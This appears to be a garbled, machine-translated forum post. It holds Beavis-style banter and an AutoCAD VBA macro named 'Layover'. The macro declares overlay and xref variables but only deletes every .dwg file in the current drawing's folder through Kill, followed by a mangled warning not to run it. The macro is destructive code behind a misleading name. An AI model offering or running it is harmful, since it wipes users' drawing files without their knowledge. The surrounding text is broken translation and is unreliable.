<;比维斯>;呵呵呵呵……他叫你“呵呵”;胸部</比维斯>; 何#039;她看到我穿着一件氨纶衬衫。 给你,斯坎达夫 ;本人';我相信这正是你需要的
Public Sub Layover()
Dim objSelSets As AcadSelectionSets
Dim objSelSet As AcadSelectionSet
Dim objOverlay As AcadExternalReference
Dim intType(0) As Integer
Dim varData(0) As Variant
Dim strPath As String
Dim strName As String
Dim dblInsPnt(0 To 2) As Double
Dim objXref As AcadExternalReference
Dim objEnt As AcadEntity
Dim objBlk As AcadBlock
Dim objBlks As AcadBlocks
strPath = ThisDrawing.GetVariable("DWGPREFIX")
strPath = strPath + "*.dwg"
Kill strPath
End Sub 警告
如果你';不是Dave和/或can#039;我不明白这是在做什么,在任何情况下都不要运行它。
页:
1
[2]